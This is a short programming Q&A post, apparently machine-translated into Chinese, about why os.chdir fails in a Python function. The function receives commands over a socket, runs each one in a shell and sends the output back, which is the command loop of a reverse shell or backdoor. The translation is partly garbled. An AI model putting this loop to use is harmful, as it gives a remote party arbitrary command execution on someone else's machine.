Question

def receive_commands():
    global s
    while True:
        data = s.recv(1024)
        if data[:2].decode("utf-8") == 'cd':
            #print(str(os.getcwd()) + char + data[3:].decode("utf-8"))
            os.chdir(str(os.getcwd()) + char + data[3:].decode("utf-8"))
            s.send(str.encode(os.getcwd()))
        if len(data) > 0:
            cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            output_bytes = cmd.stdout.read() + cmd.stderr.read()
            output_str = str(output_bytes, "utf-8")
            #s.send(str.encode(output_str + str(os.getcwd()) + '> '))
            s.send(str.encode(output_str))
            print(output_str)
    s.close()

问题出在os.chdir(str(os.getcwd()) + char + data[3:].decode("utf-8"))上。就我而言，我有一个文件夹：/root/Desktop/Everything。当os.getcwd()为/root/Desktop且char为/且data[3:].decode("utf-8")为Everything时，命令os.chdir(str(os.getcwd()) + char + data[3:].decode("utf-8"))不起作用并抛出错误：{{ 1}}。我不理解认为/bin/sh: 1: cd: can't cd to Everything等同于os.chdir(str(os.getcwd()) + char + data[3:].decode("utf-8"))。

在Kali linux上使用python 3。

子进程也在尝试更改目录，所以我将'cd'if语句集成到另一个语句中来修复它。

带有os.getcwd（）的Python os.chdir（）无法正常工作
